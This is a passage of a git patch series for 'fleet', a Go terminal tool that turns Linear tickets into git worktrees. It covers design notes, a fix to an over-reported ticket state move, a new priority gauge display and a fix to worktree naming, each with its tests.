7c061658..6114a647 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -149,7 +149,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - **Both auth paths ship, and the user picks** (`Ctrl+K → Connect Linear`). Browser sign-in is the shorter one; pasting a personal API key is the only one that works over SSH, in CI, where an admin has disabled OAuth installs, and where the user wants read-only or team-scoped access rather than whatever the app asks for. OAuth is **PKCE, so no client secret ships** — the client ID is public like `projectAPIKey` (`FLEET_LINEAR_CLIENT_ID` overrides). Redirect ports are **fixed** (53682-53684, first free) because Linear matches `redirect_uri` against the app's registered list and an ephemeral port is simply rejected; all three busy, or no browser, returns `ErrOAuthUnavailable`, which is a **routing** answer, not a failure — the dialog points at the paste path. The `state` check runs **before** the code is touched (`TestOAuthStateMismatchRejected`): the callback is a fixed loopback port, so anything on the machine can reach it during the window. - Access tokens last **24h**. `credential()` renews at a 5-minute margin, serialized by `refreshMu` — without it a ticket with a dozen screenshots starts a dozen downloads that each find the token stale and each spend a refresh, superseding one another. A **refused** refresh disconnects (the grant is gone; every later request would 401 with no explanation anywhere), while an unreachable endpoint does **not** — fleet failing to reach Linear is not evidence against the grant. - **`Available()` and `TeamKeys()` are called from the Update goroutine** and therefore touch no network and no keychain — two atomics and two small file reads. The keychain read happens once, in `warmLinear()` from `Init`. `Resolved()` is separate from `Available()` on purpose: before the warm finishes, "no credential" is ignorance, not a fact, and anything acting on the *absence* of one (the discovery tip) must wait. -- Team keys come from `.fleet.json`/`.fleet.local.json` `{"linear":{"team":"BRZ"}}` (merged additively like `pr_checks.ignore`), falling back to `team_id` in a committed `.linear.toml`. That file belongs to the CLI fleet no longer uses, but reading one key out of a file someone already has costs nothing and makes this zero-touch for them; **`api_key` in the same file is never read** (`TestTeamKeysReadOnlyTeamID`). Gating is on the **set**, not one key — a workspace routinely has several teams and one repo may see branches from both. +- Team keys come from `.fleet.json`/`.fleet.local.json` `{"linear":{"team":"BRZ"}}` (a local `team` **replaces** the committed one; `teams` lists append and dedupe — see the `.fleet.json` bullet below), falling back to `team_id` in a committed `.linear.toml`. That file belongs to the CLI fleet no longer uses, but reading one key out of a file someone already has costs nothing and makes this zero-touch for them; **`api_key` in the same file is never read** (`TestTeamKeysReadOnlyTeamID`). Gating is on the **set**, not one key — a workspace routinely has several teams and one repo may see branches from both. - One GraphQL round trip does everything (`issueFullQuery`): description, comments with author and timestamp, labels, assignee, priority, parent/children, attachments, **and the team's workflow states**, so the optional state write needs no second query. Measured at **87 complexity points** against a 10,000-per-query cap; rate limits are 2,500 req/hr and 3M complexity/hr against roughly 2 calls per worktree, so **no throttling machinery exists**. `issue(id: "BRZ-3182")` takes the shorthand identifier. Search is `searchIssues(term:)` — confirmed against the live schema, where `issueSearch(query:)` also exists and neither is deprecated — and is deliberately **unscoped by team**: the repo gate already decides *whether* to search, and someone typing prose wants matches, not a filter they didn't ask for. - **Error classification cannot key on HTTP status** (`TestGraphQLErrorClassification`). Captured from the live API: an unknown issue returns **HTTP 200** with an `errors[]` entry whose own `extensions` carry `statusCode 400` and the message `Entity not found: Issue`; a bad token returns 401 with code `AUTHENTICATION_ERROR`. Reading the status alone would file "no such issue" as a generic failure and break the negative pin that stops fleet re-asking on every session start. - **Extensions are recovered, not trusted.** Linear's default alt text is literally `image.png` and its upload URLs carry no filename, so a real PNG would land unnamed and unextensioned — and an agent's file-read tool dispatches on extension, making a perfectly downloaded screenshot unreadable. `detectExt` sniffs magic bytes (`http.DetectContentType`), which also rejects a 401 HTML body that would otherwise sit beside real screenshots. Recovering the extension and rewriting the markdown links are a **matched pair**: fix one and the agent still sees nothing. `findImages` takes **only** `http(s)` targets (`TestFindImagesTakesOnlyRemoteLinks`) — a relative path or a `file:` link in a description is not something fleet has any business reading off disk and copying into a worktree. diff --git a/internal/linear/materialize.go b/internal/linear/materialize.go index 72b752af..b9b39f4d 100644 --- a/internal/linear/materialize.go +++ b/internal/linear/materialize.go @@ -200,8 +200,12 @@ func Materialize(ctx context.Context, o Opts) (Result, error) { // Already moved. Carry the record forward rather than re-asserting it: // by now a human may have moved the issue on, and dragging it back to // "started" is the worst thing this feature could do. + // + // The record travels; the REPORT does not. res.StateMoved is what the + // caller prints as "Moved %s to its team's started state", so setting it + // here would claim a write to someone's board that this run did not + // make. Only the mutation below may set it. m.StateWrite, m.MovedTo = "done", prior.MovedTo - res.StateMoved = prior.MovedTo case o.MoveState: if name, err := MoveToStarted(ctx, issue); err != nil { m.StateWrite = "failed" diff --git a/internal/linear/materialize_test.go b/internal/linear/materialize_test.go index 43e621c8..145195f0 100644 --- a/internal/linear/materialize_test.go +++ b/internal/linear/materialize_test.go @@ -3,6 +3,7 @@ package linear import ( "os" "path/filepath" + "strings" "testing" ) @@ -59,3 +60,61 @@ func TestStateWriteSkippedRecordDoesNotBlock(t *testing.T) { } } } + +// TestPriorStateWriteIsNotReportedAsThisRunsMove separates the record from the +// report. +// +// res.StateMoved is what cmd/fleet/worktree.go prints as "Moved %s to its team's +// started state", and what ticketStatusLine shows in the TUI. Copying a prior +// run's MovedTo into it made a re-materialization claim a write to someone's +// board that never happened on that run — a false statement about a mutation, +// which is the one thing this feature must never make. The record must still +// travel, or the exactly-once guard forgets what it knew. +// +// Asserted against the source because the property IS about the source: only +// the branch that performs the mutation may assign the reported field, and +// Materialize cannot be driven here without a live API. +func TestPriorStateWriteIsNotReportedAsThisRunsMove(t *testing.T) { + src, err := os.ReadFile("materialize.go") + if err != nil { + t.Fatal(err) + } + body := string(src) + + const marker = `case hadPrior && prior.StateWrite == "done":` + i := strings.Index(body, marker) + if i < 0 { + t.Fatalf("the carry-forward branch is gone — this guard is stale, %s not found", marker) + } + rest := body[i+len(marker):] + j := strings.Index(rest, "case o.MoveState:") + if j < 0 { + t.Fatal("could not find the end of the carry-forward branch") + } + branch := stripLineComments(rest[:j]) + + if strings.Contains(branch, "res.StateMoved") { + t.Error("the carry-forward branch assigns res.StateMoved, which the caller " + + "prints as \"Moved ... to its team's started state\". This run performed no " + + "mutation; only the branch that calls MoveToStarted may set it.") + } + if !strings.Contains(branch, "m.MovedTo") { + t.Error("the carry-forward branch must still carry MovedTo into the new record, " + + "or the exactly-once guard loses what it knew") + } +} + +// stripLineComments removes // comments so a source guard scans code, not prose. +// The branch above is documented with a comment that names the very field it +// must not assign, and without this the guard would fail on its own rationale. +func stripLineComments(src string) string { + var b strings.Builder + for _, line := range strings.Split(src, "\n") { + if i := strings.Index(line, "//"); i >= 0 { + line = line[:i] + } + b.WriteString(line) + b.WriteByte('\n') + } + return b.String() +} From 0b9c6ffd75e23c6b6ef645a96c790ad12ffd76bc Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Wed, 19 Aug 2026 14:29:22 +0300 Subject: [PATCH 19/23] feat(linear): show every priority as a gauge, not just the top two MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The tickets list sorts on priority but only marked urgent and high, so three of the five levels ranked rows invisibly — ordering on a key you cannot see reads as arbitrary. All four set levels now render as a three-cell gauge: ▰▰▰ ▰▰▱ ▰▱▱ ▱▱▱. A gauge rather than P1–P4 or a longer ! ramp because the list is SORTED on this key, and a sort key you have to read row by row gives you nothing across fifty rows — ▰▰▱ ranks below ▰▰▰ at a glance, P2 only does once you have read both. It is also the shape Linear's own UI uses, so it matches where the data came from. No priority stays blank rather than becoming ▱▱▱: "low" is a choice someone made and "none" is the absence of one, and absence should read as absence down the column — the same rule the ticket badge already follows. Glyphs chosen by checking, not by taste. U+25B0/25B1 are Geometric Shapes (the status dots' own block) and East-Asian-Neutral, so they are always one column wide. The obvious alternatives — ■ □ · • — are Ambiguous width, which some terminals render double and which would shear this column out of alignment. Menlo, macOS Terminal's default, covers both; U+23FE and U+2B21 were rejected elsewhere in fleet for failing exactly that check. paletteLeadWidth goes 3 -> 4. The gauge fills every cell it is given, so a three-wide column left no separator and rendered "▰▰▰BRZ-1"; the old two-glyph "!!" got its separator free from the padding. Caught by the tests, not by eye. Colour deliberately stops after high — red, then orange, then the ordinary dim tone. Colouring all four tints nearly every row and the top two stop standing out, which is the entire reason the list sorts on this. Yellow was the obvious third step and is spoken for: it means "waiting" in the sidebar, and one screen should not carry two meanings for it. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/command_palette.go | 80 +++++++++++++++++++++-------- internal/ui/palette_tickets_test.go | 33 ++++++++---- 3 files changed, 81 insertions(+), 34 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 0a51f352..99f51248 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -163,7 +163,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. -- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown** — `!!` urgent in red, `!` high in orange, blank otherwise; ordering on an invisible key reads as arbitrary, and marking all fifty rows is the density this view was trimmed to avoid. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. **Both of the tickets tab's dedicated columns vanish outside it** (the state's header and the priority's lead), so `ticketRightColumn` puts state and priority back into the right column there — otherwise a ticket in a mixed list shows nothing but its title. State grouping is likewise tickets-tab-only: a `Todo` header sitting above a run of commands would describe rows it has nothing to do with. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type**, then **position**, then **priority**, with the server's `updatedAt` surviving as the tiebreak: type survives a team renaming its states, position puts *In Progress* above *In Review*, and recency has to remain underneath priority because most of a real backlog shares one priority (21 of 50 in the workspace this was built against were High) — priority alone would leave that block reordering itself between opens. `PriorityRank` exists because the raw number cannot be sorted on: Linear uses **0 for "not set"**, so ascending order would float every unprioritised ticket above the urgent ones. Because the list sorts on priority, priority is **shown**, as a three-cell gauge in a lead column — `▰▰▰` urgent, `▰▰▱` high, `▰▱▱` medium, `▱▱▱` low, and **blank** for no priority, since "low" is a choice someone made and "none" is the absence of one. A gauge rather than a label (`P1`/`!!`) because the list is *sorted* on this key and a sort key you have to read row by row gives you nothing across fifty rows — `▰▰▱` ranks below `▰▰▰` at a glance, `P2` only does once you've read both; it is also the shape Linear's own UI uses. `U+25B0/25B1` are Geometric Shapes (the status dots' block) and **East-Asian-Neutral**, so they are always one column — the obvious alternatives `■ □ · •` are *Ambiguous* width, which some terminals render double and which would shear the column out of alignment; Menlo covers both. `paletteLeadWidth` is **4, not 3**: the gauge fills every cell it is given, so a three-wide column rendered `▰▰▰BRZ-1` with no separator — the old two-glyph `!!` got its separator free from the padding. Colour stops after high (red, then orange; the lower two carry rank by shape in the ordinary dim tone): colouring all four tints nearly every row and the top two stop standing out, which is the entire reason the list sorts on this — and yellow, the obvious third step, already means *waiting* in the sidebar. It rides in a **column of its own, not inside `Name`**, for two reasons: a column can be coloured, and a column can be omitted — and it *is* omitted in the mixed `all` tab, where a lead column no other kind has pushed every ticket title four columns right of every command and worktree. **Both of the tickets tab's dedicated columns vanish outside it** (the state's header and the priority's lead), so `ticketRightColumn` puts state and priority back into the right column there — otherwise a ticket in a mixed list shows nothing but its title. State grouping is likewise tickets-tab-only: a `Todo` header sitting above a run of commands would describe rows it has nothing to do with. Colouring it reverses an earlier rule that the status dot owned colour outright; with real data that rule protected a column only a handful of rows ever fill while leaving fifty rows uniformly flat, and red/orange sit in a different column from the dot's green/blue/amber and mean a different kind of urgency. Rows are **grouped under the state with a count** when nothing is typed, so the state is never repeated on every row; typing drops the headers and folds the state back onto the row, since nothing else would carry it. The badge column is chosen by **tab, not by kind**: inside the tickets tab every row is a ticket, so `tkt` would say nothing and the column instead answers *is this in fleet* with the sidebar's own dot and colour, blank meaning no worktree — absence should read as absence down the column. In the mixed `all` tab that same blank reads as a missing badge, so there it is a plain `tkt` label. The status is carried by the dot and **never repeated as a word**: printing `suspended` at the far right said the same thing twice and ate the width the title needed. Identifiers pad to a common width so titles start in one column. Colour therefore means session status and only that, the same discipline that keeps agent glyphs monochrome. `Haystack` must be exactly `Name + " " + `: the renderer maps matched indexes back onto those two strings by offset, so composing it any other way highlights the wrong characters. The palette's name column is now budgeted against the widest *right* column rather than a fixed 22-rune cap, which was truncating titles to `Storage opt…` on a terminal with room to spare. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 98bc92f4..7cb1226b 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -659,25 +659,67 @@ func sessionBadgeGlyph(st session.Status) (string, lipgloss.Style) { return "○", DimStyle } -// paletteLeadWidth is the priority column: two glyphs plus a space. -const paletteLeadWidth = 3 +// paletteLeadWidth is the priority column: a three-cell gauge plus its trailing +// separator. Four, not three — the gauge fills every cell it is given, so a +// three-wide column left nothing between it and the identifier and rendered +// "▰▰▰BRZ-1". The old "!!" mark was two glyphs and got its separator for free +// from the padding. +const paletteLeadWidth = 4 + +// priorityGauge renders a priority as a three-cell bar: filled cells for rank, +// hollow cells for the rest. +// +// A gauge rather than a label, because this list is sorted on priority and a +// sort key you have to READ row by row gives you nothing when you are scanning +// fifty of them. ▰▰▱ ranks below ▰▰▰ at a glance; "P2" only ranks below "P1" +// once you have read both. It is also the shape Linear's own UI uses, so it +// matches where the data came from. +// +// U+25B0/25B1 are Geometric Shapes — the same block as the status dots — and +// crucially they are East-Asian-Neutral, so they are always one column wide. +// The obvious alternatives (■ □ · •) are Ambiguous width, which some terminals +// render double and which would shear this whole column out of alignment. +// Menlo, macOS Terminal's default, covers both; U+23FE and U+2B21 were rejected +// elsewhere in fleet for failing exactly that check. +// +// No priority renders BLANK, not ▱▱▱. "Low" is a choice someone made and "none" +// is the absence of one — different facts, and absence should read as absence +// down the column, the same rule the ticket badge follows. +func priorityGauge(priority int) string { + switch priority { + case 1: + return "▰▰▰" + case 2: + return "▰▰▱" + case 3: + return "▰▱▱" + case 4: + return "▱▱▱" + } + return "" +} -// renderPriorityLead marks urgent and high, and nothing else. +// renderPriorityLead styles the gauge for the tickets tab's lead column. // -// Coloured, and that is a deliberate reversal: the first cut left this the same -// colour as the title on the grounds that the status dot owns colour in this -// list. With real data that rule was protecting a column only a handful of rows -// ever fill, while leaving fifty rows uniformly flat. Red and orange sit in a -// different column from the dot's green/blue/amber and mean a different kind of -// urgency, so the two read as separate axes rather than as one confused one. +// Colour stops after high, and the lower two carry rank by shape alone. Red and +// orange sit in a different column from the status dot's green/blue/amber and +// mean a different kind of urgency, so the two read as separate axes — but +// colouring all four would tint nearly every row in a fifty-row list, and the +// top two would stop standing out, which is the entire reason the list sorts on +// this. Yellow was the obvious third step and is spoken for: it means "waiting" +// in the sidebar, and one screen should not carry two meanings for it. func renderPriorityLead(priority int) string { + g := priorityGauge(priority) + if g == "" { + return strings.Repeat(" ", paletteLeadWidth) + } switch priority { case 1: - return lipgloss.NewStyle().Foreground(ColorRed).Bold(true).Render(pad("!!", paletteLeadWidth)) + return lipgloss.NewStyle().Foreground(ColorRed).Bold(true).Render(pad(g, paletteLeadWidth)) case 2: - return lipgloss.NewStyle().Foreground(ColorOrange).Render(pad("!", paletteLeadWidth)) + return lipgloss.NewStyle().Foreground(ColorOrange).Render(pad(g, paletteLeadWidth)) } - return strings.Repeat(" ", paletteLeadWidth) + return DimStyle.Render(pad(g, paletteLeadWidth)) } // pad right-pads to a rune width. @@ -721,17 +763,11 @@ func ticketRightColumn(it PaletteItem) string { return out } -// plainPriorityMark is renderPriorityLead without styling or padding, for -// contexts where the mark is embedded in a string that gets truncated and -// fuzzy-highlighted by rune offset. +// plainPriorityMark is the gauge without styling or padding, for contexts where +// the mark is embedded in a string that gets truncated and fuzzy-highlighted by +// rune offset — embedded ANSI there would light up the wrong characters. func plainPriorityMark(priority int) string { - switch priority { - case 1: - return "!!" - case 2: - return "!" - } - return "" + return priorityGauge(priority) } func (d *CommandPaletteDialog) dialogWidth() int { diff --git a/internal/ui/palette_tickets_test.go b/internal/ui/palette_tickets_test.go index 7108dfc7..b20653a6 100644 --- a/internal/ui/palette_tickets_test.go +++ b/internal/ui/palette_tickets_test.go @@ -289,15 +289,26 @@ func TestPriorityIsVisibleBecauseItIsSorted(t *testing.T) { } } } - if !strings.Contains(rows["BRZ-1"], "!!") { - t.Errorf("urgent must be marked: %q", rows["BRZ-1"]) + // Every set priority now carries a gauge, and the gauges must be DISTINCT — + // a ladder where two rungs render alike is not a ladder. Only "no priority" + // is blank, because absence should read as absence down the column. + want := map[string]string{"BRZ-1": "▰▰▰", "BRZ-2": "▰▰▱", "BRZ-3": "▰▱▱"} + for id, gauge := range want { + if !strings.Contains(rows[id], gauge) { + t.Errorf("%s must carry %q: %q", id, gauge, rows[id]) + } } - if !strings.Contains(rows["BRZ-2"], "!") || strings.Contains(rows["BRZ-2"], "!!") { - t.Errorf("high must be marked once: %q", rows["BRZ-2"]) + if seen := map[string]bool{}; true { + for _, g := range want { + if seen[g] { + t.Errorf("two priorities render the same gauge %q", g) + } + seen[g] = true + } } - for _, id := range []string{"BRZ-3", "BRZ-4"} { - if strings.Contains(rows[id], "!") { - t.Errorf("%s is medium/unset and must carry no mark: %q", id, rows[id]) + for _, id := range []string{"BRZ-4"} { + if strings.ContainsAny(rows[id], "▰▱") { + t.Errorf("%s has no priority set and must carry no gauge: %q", id, rows[id]) } } @@ -332,8 +343,8 @@ func TestPriorityColumnOnlyInTheTicketsTab(t *testing.T) { })) // In the tickets tab the mark shows. - if got := renderedPalette(t, h); !strings.Contains(got, "!") { - t.Errorf("the tickets tab must show the priority mark:\n%s", got) + if got := renderedPalette(t, h); !strings.Contains(got, "▰▰▱") { + t.Errorf("the tickets tab must show the priority gauge:\n%s", got) } // In the mixed tab it must not, and ticket names must start in the same @@ -357,7 +368,7 @@ func TestPriorityColumnOnlyInTheTicketsTab(t *testing.T) { // lead column for the priority, so a ticket row would otherwise show its title // and nothing else. What must not come back is the LEAD column, which is what // broke the alignment. So the assertion is positional, not "is a ! present". - if plain := ansi.Strip(ticketLine); strings.Index(plain, "!") < strings.Index(plain, "BRZ-2124") { + if plain := ansi.Strip(ticketLine); strings.Index(plain, "▰") < strings.Index(plain, "BRZ-2124") { t.Errorf("the mixed tab must not carry a priority LEAD column: %q", ticketLine) } if !strings.Contains(ticketLine, "tkt BRZ-2124") { @@ -383,7 +394,7 @@ func TestMixedTabCarriesStateAndPriorityOnTheRight(t *testing.T) { h.commandPalette.rebuildFiltered() got := renderedPalette(t, h) - if !strings.Contains(got, "Todo !!") { + if !strings.Contains(got, "Todo ▰▰▰") { t.Errorf("a ticket in the mixed tab must carry its state AND priority:\n%s", got) } } From 8d525b79e3e219bc5ffad5a20045046395fe9d1b Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Wed, 19 Aug 2026 14:38:55 +0300 Subject: [PATCH 20/23] fix(linear): name the worktree after the ticket, not after its identifier MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Typing BRZ-3217 in the `w` dialog fetched the ticket, materialized it into the worktree and named the session after it — and then created a git worktree literally called BRZ-3217. Reported from a real one: ~/code/brizzai-BRZ-3217, branch BRZ-3217, with .fleet/ticket/BRZ-3217/ correctly written beside it. Not a race with the debounce, which is what it looks like. The by-id reply set d.resolved and returned without ever touching the field, so only the arrow-down-then-Enter path ever produced brz-3217-. pickTicket promises in its own comment that "both ways of naming a ticket end up identical", and onFieldChanged already keeps the ticket link "while the field still leads with its identifier, so tweaking the tail (…-v2) doesn't silently drop it" — a comment that only makes sense if the field is expected to hold the slug. The design was written for this; one half of it was missing. The rewrite is gated on the field still holding nothing but that identifier. The generation counter drops a reply a later keystroke invalidated, but it cannot see the case that actually hurts: you pause on BRZ-321 on the way to BRZ-3217, the pause earns a round trip, BRZ-321 exists, and the reply is perfectly current when it lands. Without the check, brz-321- appears under the cursor and the rest of what you typed lands on the end of it. Re-checking the shape rather than the query string also leaves a tail you extended by hand alone. Both tests verified to fail with their protection removed. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 2 +- internal/ui/workspace_picker_ticket.go | 44 ++++++++++++- internal/ui/workspace_picker_ticket_test.go | 70 +++++++++++++++++++++ 3 files changed, 112 insertions(+), 4 deletions(-) diff --git a/CLAUDE.md b/CLAUDE.md index 99f51248..2ccd9e0c 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -159,7 +159,7 @@ Styles in `styles.go` are declared **bare** and constructed **only** in `ApplyPa - **Nothing polls.** Ticket work is event-driven and one-shot: at worktree creation, and at session creation when the branch names an issue and `.fleet/ticket//` is absent — the directory is the ledger, so it survives restarts and deleting it is the natural "refresh". `TestTicketWorkStaysOffTheWorkers` keeps it out of `refreshAllGitAndPR`, whose `workerStallThreshold` (90s) is already sized against ~70s of git + `gh` per repo. This is only affordable because there is no badge, hence no live state to keep fresh. - The one mutation resolves the team's started state by **type**, against a position-sorted list (`TestStartedStateResolvesByTypeAndPosition`), so it works on a team whose started state is called "In Dev" or "Doing". Position matters as much as type: a real team has several started states (In Progress at position 2, In Review at 1002) and the lowest is what a human means by "I'm starting this" — any other choice would move a fresh ticket straight to review. Fires **only on create-from-ticket** (config `linear_ticket_start`, default true), never when a later session opens in an existing worktree — by then a human may have moved the issue on, and dragging it backwards is the worst thing this could do. `meta.json` records `state_write` so it stays exactly-once. - The seeded prompt is a **short pointer that tells the agent not to start** (`TestSeedPromptTellsAgentNotToStart`), stated at the top and bottom because a first message describing a task reads as an instruction to perform it. Line 1 leads with the identifier before the title because it is three surfaces at once: the agent's instruction, the preview pane's prompt strip, and the input to `naming.GenerateTitle`, which cuts at ~50 runes. It rides `sessionCreateMsg.prompt` -> `Session.InitialPrompt`. -- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching a team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. +- **Ticket suggestions live in the `w` dialog's existing New branch field, not a new field and not a mode** (`internal/ui/workspace_picker_ticket.go`). The field IS the literal option, so nothing duplicates it and only one thing ever claims Enter. Two rules make that hold: **exactly one highlight, and the caret lives with it** — arrowing onto a ticket blurs the input, typing returns both and keeps the keystroke (`isTypingKey`, borrowed from the snooze dialog, whose "the highlight is the promise" rule this follows); and **shape decides the default, never a mode** — text matching a team's identifier shape resolves *in place* (`LooksLikeIdentifier`), prose stays literal with tickets one down-arrow below. *In place* means the field **becomes the branch name** (`applyResolvedBranchName` → `BranchNameFor`) while the highlight stays put; it does **not** mean "only record the ticket". That half was missing at first, so typing `BRZ-3217` fetched the ticket, materialized it and named the session after it — and then created a git worktree literally called `BRZ-3217`, breaking the invariant `pickTicket`'s own comment states, that both ways of naming a ticket end up identical. The rewrite is gated on the field still holding **nothing but that identifier**: the generation counter drops a reply a later keystroke invalidated, but it cannot see a *current* reply for a shorter identifier you paused on en route (`BRZ-321` while typing `BRZ-3217`), which would otherwise drop `brz-321-` under the cursor and let the rest of the typing land on the end of it. The same check leaves a tail you edited by hand alone. The highlight never moves on its own; a picker that jumps its own selection is the ambiguity coming back through the window. `setSelection` is the single writer of `focus`/`ticketCursor`, enforced by `TestWorktreeSelectionMutatorIsTheOnlyWriter`, because a stray write skips the clamp and renders two selection markers. The footer names what Enter will do and changes as the highlight moves. - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case 